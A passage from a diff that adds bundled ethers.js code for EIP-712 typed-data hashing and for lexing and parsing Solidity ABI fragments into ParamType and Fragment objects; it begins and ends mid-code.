(Number.isSafeInteger(value)) { + return Number(value); + } + return toQuantity(value); + }, + verifyingContract: function (value) { + try { + return getAddress(value).toLowerCase(); + } + catch (error) { } + assertArgument(false, `invalid domain value "verifyingContract"`, "domain.verifyingContract", value); + }, + salt: function (value) { + const bytes = getBytes(value, "domain.salt"); + assertArgument(bytes.length === 32, `invalid domain value "salt"`, "domain.salt", value); + return hexlify(bytes); + } +}; +function getBaseEncoder(type) { + // intXX and uintXX + { + const match = type.match(/^(u?)int(\d+)$/); + if (match) { + const signed = (match[1] === ""); + const width = parseInt(match[2]); + assertArgument(width % 8 === 0 && width !== 0 && width <= 256 && match[2] === String(width), "invalid numeric width", "type", type); + const boundsUpper = mask(BN_MAX_UINT256, signed ? (width - 1) : width); + const boundsLower = signed ? ((boundsUpper + BN_1$1) * BN__1) : BN_0$3; + return function (_value) { + const value = getBigInt(_value, "value"); + assertArgument(value >= boundsLower && value <= boundsUpper, `value out-of-bounds for ${type}`, "value", value); + return toBeHex(signed ? toTwos(value, 256) : value, 32); + }; + } + } + // bytesXX + { + const match = type.match(/^bytes(\d+)$/); + if (match) { + const width = parseInt(match[1]); + assertArgument(width !== 0 && width <= 32 && match[1] === String(width), "invalid bytes width", "type", type); + return function (value) { + const bytes = getBytes(value); + assertArgument(bytes.length === width, `invalid length for ${type}`, "value", value); + return hexPadRight(value); + }; + } + } + switch (type) { + case "address": return function (value) { + return zeroPadValue(getAddress(value), 32); + }; + case "bool": return function (value) { + return ((!value) ? hexFalse : hexTrue); + }; + case "bytes": return function (value) { + return keccak256(value); + }; + case "string": return function (value) { + return id(value); + }; + } + return null; +} +function encodeType(name, fields) { + return `${name}(${fields.map(({ name, type }) => (type + " " + name)).join(",")})`; +} +// foo[][3] => { base: "foo", index: "[][3]", array: { +// base: "foo", prefix: "foo[]", count: 3 } } +function splitArray(type) { + const match = type.match(/^([^\x5b]*)((\x5b\d*\x5d)*)(\x5b(\d*)\x5d)$/); + if (match) { + return { + base: match[1], + index: (match[2] + match[4]), + array: { + base: match[1], + prefix: (match[1] + match[2]), + count: (match[5] ? parseInt(match[5]) : -1), + } + }; + } + return { base: type }; +} +/** + * A **TypedDataEncode** prepares and encodes [[link-eip-712]] payloads + * for signed typed data. + * + * This is useful for those that wish to compute various components of a + * typed data hash, primary types, or sub-components, but generally the + * higher level [[Signer-signTypedData]] is more useful. + */ +class TypedDataEncoder { + /** + * The primary type for the structured [[types]]. + * + * This is derived automatically from the [[types]], since no + * recursion is possible, once the DAG for the types is consturcted + * internally, the primary type must be the only remaining type with + * no parent nodes. + */ + primaryType; + #types; + /** + * The types. + */ + get types() { + return JSON.parse(this.#types); + } + #fullTypes; + #encoderCache; + /** + * Create a new **TypedDataEncoder** for %%types%%. + * + * This performs all necessary checking that types are valid and + * do not violate the [[link-eip-712]] structural constraints as + * well as computes the [[primaryType]]. + */ + constructor(_types) { + this.#fullTypes = new Map(); + this.#encoderCache = new Map(); + // Link struct types to their direct child structs + const links = new Map(); + // Link structs to structs which contain them as a child + const parents = new Map(); + // Link all subtypes within a given struct + const subtypes = new Map(); + const types = {}; + Object.keys(_types).forEach((type) => { + types[type] = _types[type].map(({ name, type }) => { + // Normalize the base type (unless name conflict) + let { base, index } = splitArray(type); + if (base === "int" && !_types["int"]) { + base = "int256"; + } + if (base === "uint" && !_types["uint"]) { + base = "uint256"; + } + return { name, type: (base + (index || "")) }; + }); + links.set(type, new Set()); + parents.set(type, []); + subtypes.set(type, new Set()); + }); + this.#types = JSON.stringify(types); + for (const name in types) { + const uniqueNames = new Set(); + for (const field of types[name]) { + // Check each field has a unique name + assertArgument(!uniqueNames.has(field.name), `duplicate variable name ${JSON.stringify(field.name)} in ${JSON.stringify(name)}`, "types", _types); + uniqueNames.add(field.name); + // Get the base type (drop any array specifiers) + const baseType = splitArray(field.type).base; + assertArgument(baseType !== name, `circular type reference to ${JSON.stringify(baseType)}`, "types", _types); + // Is this a base encoding type? + const encoder = getBaseEncoder(baseType); + if (encoder) { + continue; + } + assertArgument(parents.has(baseType), `unknown type ${JSON.stringify(baseType)}`, "types", _types); + // Add linkage + parents.get(baseType).push(name); + links.get(name).add(baseType); + } + } + // Deduce the primary type + const primaryTypes = Array.from(parents.keys()).filter((n) => (parents.get(n).length === 0)); + assertArgument(primaryTypes.length !== 0, "missing primary type", "types", _types); + assertArgument(primaryTypes.length === 1, `ambiguous primary types or unused types: ${primaryTypes.map((t) => (JSON.stringify(t))).join(", ")}`, "types", _types); + defineProperties(this, { primaryType: primaryTypes[0] }); + // Check for circular type references + function checkCircular(type, found) { + assertArgument(!found.has(type), `circular type reference to ${JSON.stringify(type)}`, "types", _types); + found.add(type); + for (const child of links.get(type)) { + if (!parents.has(child)) { + continue; + } + // Recursively check children + checkCircular(child, found); + // Mark all ancestors as having this decendant + for (const subtype of found) { + subtypes.get(subtype).add(child); + } + } + found.delete(type); + } + checkCircular(this.primaryType, new Set()); + // Compute each fully describe type + for (const [name, set] of subtypes) { + const st = Array.from(set); + st.sort(); + this.#fullTypes.set(name, encodeType(name, types[name]) + st.map((t) => encodeType(t, types[t])).join("")); + } + } + /** + * Returnthe encoder for the specific %%type%%. + */ + getEncoder(type) { + let encoder = this.#encoderCache.get(type); + if (!encoder) { + encoder = this.#getEncoder(type); + this.#encoderCache.set(type, encoder); + } + return encoder; + } + #getEncoder(type) { + // Basic encoder type (address, bool, uint256, etc) + { + const encoder = getBaseEncoder(type); + if (encoder) { + return encoder; + } + } + // Array + const array = splitArray(type).array; + if (array) { + const subtype = array.prefix; + const subEncoder = this.getEncoder(subtype); + return (value) => { + assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, "value", value); + let result = value.map(subEncoder); + if (this.#fullTypes.has(subtype)) { + result = result.map(keccak256); + } + return keccak256(concat(result)); + }; + } + // Struct + const fields = this.types[type]; + if (fields) { + const encodedType = id(this.#fullTypes.get(type)); + return (value) => { + const values = fields.map(({ name, type }) => { + const result = this.getEncoder(type)(value[name]); + if (this.#fullTypes.has(type)) { + return keccak256(result); + } + return result; + }); + values.unshift(encodedType); + return concat(values); + }; + } + assertArgument(false, `unknown type: ${type}`, "type", type); + } + /** + * Return the full type for %%name%%. + */ + encodeType(name) { + const result = this.#fullTypes.get(name); + assertArgument(result, `unknown type: ${JSON.stringify(name)}`, "name", name); + return result; + } + /** + * Return the encoded %%value%% for the %%type%%. + */ + encodeData(type, value) { + return this.getEncoder(type)(value); + } + /** + * Returns the hash of %%value%% for the type of %%name%%. + */ + hashStruct(name, value) { + return keccak256(this.encodeData(name, value)); + } + /** + * Return the fulled encoded %%value%% for the [[types]]. + */ + encode(value) { + return this.encodeData(this.primaryType, value); + } + /** + * Return the hash of the fully encoded %%value%% for the [[types]]. + */ + hash(value) { + return this.hashStruct(this.primaryType, value); + } + /** + * @_ignore: + */ + _visit(type, value, callback) { + // Basic encoder type (address, bool, uint256, etc) + { + const encoder = getBaseEncoder(type); + if (encoder) { + return callback(type, value); + } + } + // Array + const array = splitArray(type).array; + if (array) { + assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, "value", value); + return value.map((v) => this._visit(array.prefix, v, callback)); + } + // Struct + const fields = this.types[type]; + if (fields) { + return fields.reduce((accum, { name, type }) => { + accum[name] = this._visit(type, value[name], callback); + return accum; + }, {}); + } + assertArgument(false, `unknown type: ${type}`, "type", type); + } + /** + * Call %%calback%% for each value in %%value%%, passing the type and + * component within %%value%%. + * + * This is useful for replacing addresses or other transformation that + * may be desired on each component, based on its type. + */ + visit(value, callback) { + return this._visit(this.primaryType, value, callback); + } + /** + * Create a new **TypedDataEncoder** for %%types%%. + */ + static from(types) { + return new TypedDataEncoder(types); + } + /** + * Return the primary type for %%types%%. + */ + static getPrimaryType(types) { + return TypedDataEncoder.from(types).primaryType; + } + /** + * Return the hashed struct for %%value%% using %%types%% and %%name%%. + */ + static hashStruct(name, types, value) { + return TypedDataEncoder.from(types).hashStruct(name, value); + } + /** + * Return the domain hash for %%domain%%. + */ + static hashDomain(domain) { + const domainFields = []; + for (const name in domain) { + if (domain[name] == null) { + continue; + } + const type = domainFieldTypes[name]; + assertArgument(type, `invalid typed-data domain key: ${JSON.stringify(name)}`, "domain", domain); + domainFields.push({ name, type }); + } + domainFields.sort((a, b) => { + return domainFieldNames.indexOf(a.name) - domainFieldNames.indexOf(b.name); + }); + return TypedDataEncoder.hashStruct("EIP712Domain", { EIP712Domain: domainFields }, domain); + } + /** + * Return the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static encode(domain, types, value) { + return concat([ + "0x1901", + TypedDataEncoder.hashDomain(domain), + TypedDataEncoder.from(types).hash(value) + ]); + } + /** + * Return the hash of the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static hash(domain, types, value) { + return keccak256(TypedDataEncoder.encode(domain, types, value)); + } + // Replaces all address types with ENS names with their looked up address + /** + * Resolves to the value from resolving all addresses in %%value%% for + * %%types%% and the %%domain%%. + */ + static async resolveNames(domain, types, value, resolveName) { + // Make a copy to isolate it from the object passed in + domain = Object.assign({}, domain); + // Allow passing null to ignore value + for (const key in domain) { + if (domain[key] == null) { + delete domain[key]; + } + } + // Look up all ENS names + const ensCache = {}; + // Do we need to look up the domain's verifyingContract? + if (domain.verifyingContract && !isHexString(domain.verifyingContract, 20)) { + ensCache[domain.verifyingContract] = "0x"; + } + // We are going to use the encoder to visit all the base values + const encoder = TypedDataEncoder.from(types); + // Get a list of all the addresses + encoder.visit(value, (type, value) => { + if (type === "address" && !isHexString(value, 20)) { + ensCache[value] = "0x"; + } + return value; + }); + // Lookup each name + for (const name in ensCache) { + ensCache[name] = await resolveName(name); + } + // Replace the domain verifyingContract if needed + if (domain.verifyingContract && ensCache[domain.verifyingContract]) { + domain.verifyingContract = ensCache[domain.verifyingContract]; + } + // Replace all ENS names with their address + value = encoder.visit(value, (type, value) => { + if (type === "address" && ensCache[value]) { + return ensCache[value]; + } + return value; + }); + return { domain, value }; + } + /** + * Returns the JSON-encoded payload expected by nodes which implement + * the JSON-RPC [[link-eip-712]] method. + */ + static getPayload(domain, types, value) { + // Validate the domain fields + TypedDataEncoder.hashDomain(domain); + // Derive the EIP712Domain Struct reference type + const domainValues = {}; + const domainTypes = []; + domainFieldNames.forEach((name) => { + const value = domain[name]; + if (value == null) { + return; + } + domainValues[name] = domainChecks[name](value); + domainTypes.push({ name, type: domainFieldTypes[name] }); + }); + const encoder = TypedDataEncoder.from(types); + // Get the normalized types + types = encoder.types; + const typesWithDomain = Object.assign({}, types); + assertArgument(typesWithDomain.EIP712Domain == null, "types must not contain EIP712Domain type", "types.EIP712Domain", types); + typesWithDomain.EIP712Domain = domainTypes; + // Validate the data structures and types + encoder.encode(value); + return { + types: typesWithDomain, + domain: domainValues, + primaryType: encoder.primaryType, + message: encoder.visit(value, (type, value) => { + // bytes + if (type.match(/^bytes(\d*)/)) { + return hexlify(getBytes(value)); + } + // uint or int + if (type.match(/^u?int/)) { + return getBigInt(value).toString(); + } + switch (type) { + case "address": + return value.toLowerCase(); + case "bool": + return !!value; + case "string": + assertArgument(typeof (value) === "string", "invalid string", "value", value); + return value; + } + assertArgument(false, "unsupported type", "type", type); + }) + }; + } +} +/** + * Compute the address used to sign the typed data for the %%signature%%. + */ +function verifyTypedData(domain, types, value, signature) { + return recoverAddress(TypedDataEncoder.hash(domain, types, value), signature); +} + +/** + * A fragment is a single item from an ABI, which may represent any of: + * + * - [Functions](FunctionFragment) + * - [Events](EventFragment) + * - [Constructors](ConstructorFragment) + * - Custom [Errors](ErrorFragment) + * - [Fallback or Receive](FallbackFragment) functions + * + * @_subsection api/abi/abi-coder:Fragments [about-fragments] + */ +// [ "a", "b" ] => { "a": 1, "b": 1 } +function setify(items) { + const result = new Set(); + items.forEach((k) => result.add(k)); + return Object.freeze(result); +} +const _kwVisibDeploy = "external public payable override"; +const KwVisibDeploy = setify(_kwVisibDeploy.split(" ")); +// Visibility Keywords +const _kwVisib = "constant external internal payable private public pure view override"; +const KwVisib = setify(_kwVisib.split(" ")); +const _kwTypes = "constructor error event fallback function receive struct"; +const KwTypes = setify(_kwTypes.split(" ")); +const _kwModifiers = "calldata memory storage payable indexed"; +const KwModifiers = setify(_kwModifiers.split(" ")); +const _kwOther = "tuple returns"; +// All Keywords +const _keywords = [_kwTypes, _kwModifiers, _kwOther, _kwVisib].join(" "); +const Keywords = setify(_keywords.split(" ")); +// Single character tokens +const SimpleTokens = { + "(": "OPEN_PAREN", ")": "CLOSE_PAREN", + "[": "OPEN_BRACKET", "]": "CLOSE_BRACKET", + ",": "COMMA", "@": "AT" +}; +// Parser regexes to consume the next token +const regexWhitespacePrefix = new RegExp("^(\\s*)"); +const regexNumberPrefix = new RegExp("^([0-9]+)"); +const regexIdPrefix = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)"); +// Parser regexs to check validity +const regexId = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)$"); +const regexType = new RegExp("^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$"); +class TokenString { + #offset; + #tokens; + get offset() { return this.#offset; } + get length() { return this.#tokens.length - this.#offset; } + constructor(tokens) { + this.#offset = 0; + this.#tokens = tokens.slice(); + } + clone() { return new TokenString(this.#tokens); } + reset() { this.#offset = 0; } + #subTokenString(from = 0, to = 0) { + return new TokenString(this.#tokens.slice(from, to).map((t) => { + return Object.freeze(Object.assign({}, t, { + match: (t.match - from), + linkBack: (t.linkBack - from), + linkNext: (t.linkNext - from), + })); + })); + } + // Pops and returns the value of the next token, if it is a keyword in allowed; throws if out of tokens + popKeyword(allowed) { + const top = this.peek(); + if (top.type !== "KEYWORD" || !allowed.has(top.text)) { + throw new Error(`expected keyword ${top.text}`); + } + return this.pop().text; + } + // Pops and returns the value of the next token if it is `type`; throws if out of tokens + popType(type) { + if (this.peek().type !== type) { + const top = this.peek(); + throw new Error(`expected ${type}; got ${top.type} ${JSON.stringify(top.text)}`); + } + return this.pop().text; + } + // Pops and returns a "(" TOKENS ")" + popParen() { + const top = this.peek(); + if (top.type !== "OPEN_PAREN") { + throw new Error("bad start"); + } + const result = this.#subTokenString(this.#offset + 1, top.match + 1); + this.#offset = top.match + 1; + return result; + } + // Pops and returns the items within "(" ITEM1 "," ITEM2 "," ... ")" + popParams() { + const top = this.peek(); + if (top.type !== "OPEN_PAREN") { + throw new Error("bad start"); + } + const result = []; + while (this.#offset < top.match - 1) { + const link = this.peek().linkNext; + result.push(this.#subTokenString(this.#offset + 1, link)); + this.#offset = link; + } + this.#offset = top.match + 1; + return result; + } + // Returns the top Token, throwing if out of tokens + peek() { + if (this.#offset >= this.#tokens.length) { + throw new Error("out-of-bounds"); + } + return this.#tokens[this.#offset]; + } + // Returns the next value, if it is a keyword in `allowed` + peekKeyword(allowed) { + const top = this.peekType("KEYWORD"); + return (top != null && allowed.has(top)) ? top : null; + } + // Returns the value of the next token if it is `type` + peekType(type) { + if (this.length === 0) { + return null; + } + const top = this.peek(); + return (top.type === type) ? top.text : null; + } + // Returns the next token; throws if out of tokens + pop() { + const result = this.peek(); + this.#offset++; + return result; + } + toString() { + const tokens = []; + for (let i = this.#offset; i < this.#tokens.length; i++) { + const token = this.#tokens[i]; + tokens.push(`${token.type}:${token.text}`); + } + return ``; + } +} +function lex(text) { + const tokens = []; + const throwError = (message) => { + const token = (offset < text.length) ? JSON.stringify(text[offset]) : "$EOI"; + throw new Error(`invalid token ${token} at ${offset}: ${message}`); + }; + let brackets = []; + let commas = []; + let offset = 0; + while (offset < text.length) { + // Strip off any leading whitespace + let cur = text.substring(offset); + let match = cur.match(regexWhitespacePrefix); + if (match) { + offset += match[1].length; + cur = text.substring(offset); + } + const token = { depth: brackets.length, linkBack: -1, linkNext: -1, match: -1, type: "", text: "", offset, value: -1 }; + tokens.push(token); + let type = (SimpleTokens[cur[0]] || ""); + if (type) { + token.type = type; + token.text = cur[0]; + offset++; + if (type === "OPEN_PAREN") { + brackets.push(tokens.length - 1); + commas.push(tokens.length - 1); + } + else if (type == "CLOSE_PAREN") { + if (brackets.length === 0) { + throwError("no matching open bracket"); + } + token.match = brackets.pop(); + (tokens[token.match]).match = tokens.length - 1; + token.depth--; + token.linkBack = commas.pop(); + (tokens[token.linkBack]).linkNext = tokens.length - 1; + } + else if (type === "COMMA") { + token.linkBack = commas.pop(); + (tokens[token.linkBack]).linkNext = tokens.length - 1; + commas.push(tokens.length - 1); + } + else if (type === "OPEN_BRACKET") { + token.type = "BRACKET"; + } + else if (type === "CLOSE_BRACKET") { + // Remove the CLOSE_BRACKET + let suffix = tokens.pop().text; + if (tokens.length > 0 && tokens[tokens.length - 1].type === "NUMBER") { + const value = tokens.pop().text; + suffix = value + suffix; + (tokens[tokens.length - 1]).value = getNumber(value); + } + if (tokens.length === 0 || tokens[tokens.length - 1].type !== "BRACKET") { + throw new Error("missing opening bracket"); + } + (tokens[tokens.length - 1]).text += suffix; + } + continue; + } + match = cur.match(regexIdPrefix); + if (match) { + token.text = match[1]; + offset += token.text.length; + if (Keywords.has(token.text)) { + token.type = "KEYWORD"; + continue; + } + if (token.text.match(regexType)) { + token.type = "TYPE"; + continue; + } + token.type = "ID"; + continue; + } + match = cur.match(regexNumberPrefix); + if (match) { + token.text = match[1]; + token.type = "NUMBER"; + offset += token.text.length; + continue; + } + throw new Error(`unexpected token ${JSON.stringify(cur[0])} at position ${offset}`); + } + return new TokenString(tokens.map((t) => Object.freeze(t))); +} +// Check only one of `allowed` is in `set` +function allowSingle(set, allowed) { + let included = []; + for (const key in allowed.keys()) { + if (set.has(key)) { + included.push(key); + } + } + if (included.length > 1) { + throw new Error(`conflicting types: ${included.join(", ")}`); + } +} +// Functions to process a Solidity Signature TokenString from left-to-right for... +// ...the name with an optional type, returning the name +function consumeName(type, tokens) { + if (tokens.peekKeyword(KwTypes)) { + const keyword = tokens.pop().text; + if (keyword !== type) { + throw new Error(`expected ${type}, got ${keyword}`); + } + } + return tokens.popType("ID"); +} +// ...all keywords matching allowed, returning the keywords +function consumeKeywords(tokens, allowed) { + const keywords = new Set(); + while (true) { + const keyword = tokens.peekType("KEYWORD"); + if (keyword == null || (allowed && !allowed.has(keyword))) { + break; + } + tokens.pop(); + if (keywords.has(keyword)) { + throw new Error(`duplicate keywords: ${JSON.stringify(keyword)}`); + } + keywords.add(keyword); + } + return Object.freeze(keywords); +} +// ...all visibility keywords, returning the coalesced mutability +function consumeMutability(tokens) { + let modifiers = consumeKeywords(tokens, KwVisib); + // Detect conflicting modifiers + allowSingle(modifiers, setify("constant payable nonpayable".split(" "))); + allowSingle(modifiers, setify("pure view payable nonpayable".split(" "))); + // Process mutability states + if (modifiers.has("view")) { + return "view"; + } + if (modifiers.has("pure")) { + return "pure"; + } + if (modifiers.has("payable")) { + return "payable"; + } + if (modifiers.has("nonpayable")) { + return "nonpayable"; + } + // Process legacy `constant` last + if (modifiers.has("constant")) { + return "view"; + } + return "nonpayable"; +} +// ...a parameter list, returning the ParamType list +function consumeParams(tokens, allowIndexed) { + return tokens.popParams().map((t) => ParamType.from(t, allowIndexed)); +} +// ...a gas limit, returning a BigNumber or null if none +function consumeGas(tokens) { + if (tokens.peekType("AT")) { + tokens.pop(); + if (tokens.peekType("NUMBER")) { + return getBigInt(tokens.pop().text); + } + throw new Error("invalid gas"); + } + return null; +} +function consumeEoi(tokens) { + if (tokens.length) { + throw new Error(`unexpected tokens at offset ${tokens.offset}: ${tokens.toString()}`); + } +} +const regexArrayType = new RegExp(/^(.*)\[([0-9]*)\]$/); +function verifyBasicType(type) { + const match = type.match(regexType); + assertArgument(match, "invalid type", "type", type); + if (type === "uint") { + return "uint256"; + } + if (type === "int") { + return "int256"; + } + if (match[2]) { + // bytesXX + const length = parseInt(match[2]); + assertArgument(length !== 0 && length <= 32, "invalid bytes length", "type", type); + } + else if (match[3]) { + // intXX or uintXX + const size = parseInt(match[3]); + assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, "invalid numeric width", "type", type); + } + return type; +} +// Make the Fragment constructors effectively private +const _guard$2 = {}; +const internal$1 = Symbol.for("_ethers_internal"); +const ParamTypeInternal = "_ParamTypeInternal"; +const ErrorFragmentInternal = "_ErrorInternal"; +const EventFragmentInternal = "_EventInternal"; +const ConstructorFragmentInternal = "_ConstructorInternal"; +const FallbackFragmentInternal = "_FallbackInternal"; +const FunctionFragmentInternal = "_FunctionInternal"; +const StructFragmentInternal = "_StructInternal"; +/** + * Each input and output of a [[Fragment]] is an Array of **ParamType**. + */ +class ParamType { + /** + * The local name of the parameter (or ``""`` if unbound) + */ + name; + /** + * The fully qualified type (e.g. ``"address"``, ``"tuple(address)"``, + * ``"uint256[3][]"``) + */ + type; + /** + * The base type (e.g. ``"address"``, ``"tuple"``, ``"array"``) + */ + baseType; + /** + * True if the parameters is indexed. + * + * For non-indexable types this is ``null``. + */ + indexed; + /** + * The components for the tuple. + * + * For non-tuple types this is ``null``. + */ + components; + /** + * The array length, or ``-1`` for dynamic-lengthed arrays. + * + * For non-array types this is ``null``. + */ + arrayLength; + /** + * The type of each child in the array. + * + * For non-array types this is ``null``. + */ + arrayChildren; + /** + * @private + */ + constructor(guard, name, type, baseType, indexed, components, arrayLength, arrayChildren) { + assertPrivate(guard, _guard$2, "ParamType"); + Object.defineProperty(this, internal$1, { value: ParamTypeInternal }); + if (components) { + components = Object.freeze(components.slice()); + } + if (baseType === "array") { + if (arrayLength == null || arrayChildren == null) { + throw new Error(""); + } + } + else if (arrayLength != null || arrayChildren != null) { + throw new Error(""); + } + if (baseType === "tuple") { + if (components == null) { + throw new Error(""); + } + } + else if (components != null) { + throw new Error(""); + } + defineProperties(this, { + name, type, baseType, indexed, components, arrayLength, arrayChildren + }); + } + /** + * Return a string representation of this type. + * + * For example, + * + * ``sighash" => "(uint256,address)"`` + * + * ``"minimal" => "tuple(uint256,address) indexed"`` + * + * ``"full" => "tuple(uint256 foo, address bar) indexed baz"`` + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + const name = this.name || ""; + if (this.isArray()) { + const result = JSON.parse(this.arrayChildren.format("json")); + result.name = name; + result.type += `[${(this.arrayLength < 0 ? "" : String(this.arrayLength))}]`; + return JSON.stringify(result); + } + const result = { + type: ((this.baseType === "tuple") ? "tuple" : this.type), + name + }; + if (typeof (this.indexed) === "boolean") { + result.indexed = this.indexed; + } + if (this.isTuple()) { + result.components = this.components.map((c) => JSON.parse(c.format(format))); + } + return JSON.stringify(result); + } + let result = ""; + // Array + if (this.isArray()) { + result += this.arrayChildren.format(format); + result += `[${(this.arrayLength < 0 ? "" : String(this.arrayLength))}]`; + } + else { + if (this.isTuple()) { + result += "(" + this.components.map((comp) => comp.format(format)).join((format === "full") ? ", " : ",") + ")"; + } + else { + result += this.type; + } + } + if (format !== "sighash") { + if (this.indexed === true) { + result += " indexed"; + } + if (format === "full" && this.name) { + result += " " + this.name; + } + } + return result; + } + /** + * Returns true if %%this%% is an Array type. + * + * This provides a type gaurd ensuring that [[arrayChildren]] + * and [[arrayLength]] are non-null. + */ + isArray() { + return (this.baseType === "array"); + } + /** + * Returns true if %%this%% is a Tuple type. + * + * This provides a type gaurd ensuring that [[components]] + * is non-null. + */ + isTuple() { + return (this.baseType === "tuple"); + } + /** + * Returns true if %%this%% is an Indexable type. + * + * This provides a type gaurd ensuring that [[indexed]] + * is non-null. + */ + isIndexable() { + return (this.indexed != null); + } + /** + * Walks the **ParamType** with %%value%%, calling %%process%% + * on each type, destructing the %%value%% recursively. + */ + walk(value, process) { + if (this.isArray()) { + if (!Array.isArray(value)) { + throw new Error("invalid array value"); + } + if (this.arrayLength !== -1 && value.length !== this.arrayLength) { + throw new Error("array is wrong length"); + } + const _this = this; + return value.map((v) => (_this.arrayChildren.walk(v, process))); + } + if (this.isTuple()) { + if (!Array.isArray(value)) { + throw new Error("invalid tuple value"); + } + if (value.length !== this.components.length) { + throw new Error("array is wrong length"); + } + const _this = this; + return value.map((v, i) => (_this.components[i].walk(v, process))); + } + return process(this.type, value); + } + #walkAsync(promises, value, process, setValue) { + if (this.isArray()) { + if (!Array.isArray(value)) { + throw new Error("invalid array value"); + } + if (this.arrayLength !== -1 && value.length !== this.arrayLength) { + throw new Error("array is wrong length"); + } + const childType = this.arrayChildren; + const result = value.slice(); + result.forEach((value, index) => { + childType.#walkAsync(promises, value, process, (value) => { + result[index] = value; + }); + }); + setValue(result); + return; + } + if (this.isTuple()) { + const components = this.components; + // Convert the object into an array + let result; + if (Array.isArray(value)) { + result = value.slice(); + } + else { + if (value == null || typeof (value) !== "object") { + throw new Error("invalid tuple value"); + } + result = components.map((param) => { + if (!param.name) { + throw new Error("cannot use object value with unnamed components"); + } + if (!(param.name in value)) { + throw new Error(`missing value for component ${param.name}`); + } + return value[param.name]; + }); + } + if (result.length !== this.components.length) { + throw new Error("array is wrong length"); + } + result.forEach((value, index) => { + components[index].#walkAsync(promises, value, process, (value) => { + result[index] = value; + }); + }); + setValue(result); + return; + } + const result = process(this.type, value); + if (result.then) { + promises.push((async function () { setValue(await result); })()); + } + else { + setValue(result); + } + } + /** + * Walks the **ParamType** with %%value%%, asynchronously calling + * %%process%% on each type, destructing the %%value%% recursively. + * + * This can be used to resolve ENS names by walking and resolving each + * ``"address"`` type. + */ + async walkAsync(value, process) { + const promises = []; + const result = [value]; + this.#walkAsync(promises, value, process, (value) => { + result[0] = value; + }); + if (promises.length) { + await Promise.all(promises); + } + return result[0]; + } + /** + * Creates a new **ParamType** for %%obj%%. + * + * If %%allowIndexed%% then the ``indexed`` keyword is permitted, + * otherwise the ``indexed`` keyword will throw an error. + */ + static from(obj, allowIndexed) { + if (ParamType.isParamType(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return ParamType.from(lex(obj), allowIndexed); + } + catch (error) { + assertArgument(false, "invalid param type", "obj", obj); + } + } + else if (obj instanceof TokenString) { + let type = "", baseType = ""; + let comps = null; + if (consumeKeywords(obj, setify(["tuple"])).has("tuple") || obj.peekType("OPEN_PAREN")) { + // Tuple + baseType = "tuple"; + comps = obj.popParams().map((t) => ParamType.from(t)); + type = `tuple(${comps.map((c) => c.format()).join(",")})`; + } + else { + // Normal + type = verifyBasicType(obj.popType("TYPE")); + baseType = type; + } + // Check for Array + let arrayChildren = null; + let arrayLength = null; + while (obj.length && obj.peekType("BRACKET")) { + const bracket = obj.pop(); //arrays[i]; + arrayChildren = new ParamType(_guard$2, "", type, baseType, null, comps, arrayLength, arrayChildren); + arrayLength = bracket.value; + type += bracket.text; + baseType = "array"; + comps = null; + } + let indexed = null; + const keywords = consumeKeywords(obj, KwModifiers); + if (keywords.has("indexed")) { + if (!allowIndexed) { + throw new Error(""); + } + indexed = true; + } + const name = (obj.peekType("ID") ? obj.pop().text : ""); + if (obj.length) { + throw new Error("leftover tokens"); + } + return new ParamType(_guard$2, name, type, baseType, indexed, comps, arrayLength, arrayChildren); + } + const name = obj.name; + assertArgument(!name || (typeof (name) === "string" && name.match(regexId)), "invalid name", "obj.name", name); + let indexed = obj.indexed; + if (indexed != null) { + assertArgument(allowIndexed, "parameter cannot be indexed", "obj.indexed", obj.indexed); + indexed = !!indexed; + } + let type = obj.type; + let arrayMatch = type.match(regexArrayType); + if (arrayMatch) { + const arrayLength = parseInt(arrayMatch[2] || "-1"); + const arrayChildren = ParamType.from({ + type: arrayMatch[1], + components: obj.components + }); + return new ParamType(_guard$2, name || "", type, "array", indexed, null, arrayLength, arrayChildren); + } + if (type === "tuple" || type.startsWith("tuple(" /* fix: ) */) || type.startsWith("(" /* fix: ) */)) { + const comps = (obj.components != null) ? obj.components.map((c) => ParamType.from(c)) : null; + const tuple = new ParamType(_guard$2, name || "", type, "tuple", indexed, comps, null, null); + // @TODO: use lexer to validate and normalize type + return tuple; + } + type = verifyBasicType(obj.type); + return new ParamType(_guard$2, name || "", type, type, indexed, null, null, null); + } + /** + * Returns true if %%value%% is a **ParamType**. + */ + static isParamType(value) { + return (value && value[internal$1] === ParamTypeInternal); + } +} +/** + * An abstract class to represent An individual fragment from a parse ABI. + */ +class Fragment { + /** + * The type of the fragment. + */ + type; + /** + * The inputs for the fragment. + */ + inputs; + /** + * @private + */ + constructor(guard, type, inputs) { + assertPrivate(guard, _guard$2, "Fragment"); + inputs = Object.freeze(inputs.slice()); + defineProperties(this, { type, inputs }); + } + /** + * Creates a new **Fragment** for %%obj%%, wich can be any supported + * ABI frgament type. + */ + static from(obj) { + if (typeof (obj) === "string") { + // Try parsing JSON... + try { + Fragment.from(JSON.parse(obj)); + } + catch (e) { } + // ...otherwise, use the human-readable lexer + return Fragment.from(lex(obj)); + } + if (obj instanceof TokenString) { + // Human-readable ABI (already lexed) + const type = obj.peekKeyword(KwTypes); + switch (type) { + case "constructor": return ConstructorFragment.from(obj); + case "error": return ErrorFragment.from(obj); + case "event": return EventFragment.from(obj); + case "fallback": + case "receive": + return FallbackFragment.from(obj); + case "function": return FunctionFragment.from(obj); + case "struct": return StructFragment.from(obj); + } + } + else if (typeof (obj) === "object") { + // JSON ABI + switch (obj.type) { + case "constructor": return ConstructorFragment.from(obj); + case "error": return ErrorFragment.from(obj); + case "event": return EventFragment.from(obj); + case "fallback": + case "receive": + return FallbackFragment.from(obj); + case "function": return FunctionFragment.from(obj); + case "struct": return StructFragment.from(obj); + } + assert(false, `unsupported type: ${obj.type}`, "UNSUPPORTED_OPERATION", { + operation: "Fragment.from" + }); + } + assertArgument(false, "unsupported frgament object", "obj", obj); + } + /** + * Returns true if %%value%% is a [[ConstructorFragment]]. + */ + static isConstructor(value) { + return ConstructorFragment.isFragment(value); + } + /** + * Returns true if %%value%% is an 